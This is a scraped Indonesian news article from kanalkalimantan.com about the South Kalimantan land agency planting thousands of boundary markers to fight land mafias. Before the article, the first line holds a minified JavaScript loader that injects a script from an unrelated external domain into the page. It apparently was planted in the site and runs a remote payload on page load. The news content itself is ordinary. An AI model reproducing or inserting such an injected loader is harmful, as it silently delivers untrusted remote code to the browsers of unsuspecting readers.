(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pasang Ribuan Patok Tanah, Kiat Lawan Mafia Tanah di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Ribuan patok tanah dipasang oleh Kantor Wilayah Badan Pertanahan Nasional (BPN) Provinsi Kalimantan Selatan (Kalsel).

Pemasangan ribuan patok ini diperuntukkan guna mendukung Gerakan Masyarakat Tanda Batas (Gemapatas) sebanyak 1 juta patok sebagai upaya meningkatkan kesadaran untuk menandai tanah miliknya.

Di Kalimantan Selatan, tiap-tiap Kantor BPN kabupaten/kota menyiapkan 1.000 patok batas tanah untuk ditanam di tanah-tanah milik warga.

Kepala Kanwil BPN Kalsel, Alen Saputra mengatakan pemasangan patok pada sebidang tanah ini dilakukan seluruh Indonesia yang pusatnya di Kabupaten Cilacap.

Untuk di Kalsel, dilaksanakan di Kelurahan Palam Kota Banjarbaru, Jumat (3/2/2023).

“Dengan penanaman patok bidang tanah ini, dapat mengurangi sengketa tanah,” ujarnya.

Diungkapkan Alen, penanaman ini ditargetkan 1 juta patok batas tanah, untuk mendapatkan rekor dari MURI, namun dalam kenyataannya penanaman patok batas tanah ini dapat melebihi yanh diperkirakan.

Gemapatas ini dicanangkan sebagai gerakan melawan mafia tanah yang sering mengganggu warga masyarakat.

Menurut Alen, mafia tanah seringkali hadir memanfaatkan kekaburan dan ketidakjelasan batas-batas kepemilikan tanah.

“Kalau benar-benar dijaga tanda batasnya otomatis mafia tanah pasti tidak akan bisa,” tegas dia.

Sementara itu, Gubernur Kalsel, Sahbirin Noor melalui Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Setdaprov Kalsel, Nurul Fajar Desira sangat mengapresiasi langkah Kementerian BPN/ATR terkait program ini.

“Dengan adanya program ini, dapat mengurangi konflik di lingkungan masyarakat terkait pertanahan,” sebutnya.

Dia berharap, untuk BPN se Kalsel, pemasangan patok tanda batas tanah ini tidak hanya terbatas 1.000 patok saja. Akan tetapi, pemasangan terus dilanjutkan di masyarakat.

“Dengan adanya program ini dapat memberikan kepastian hukum buat pemilik lahan,” pungkas dia.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: Dhani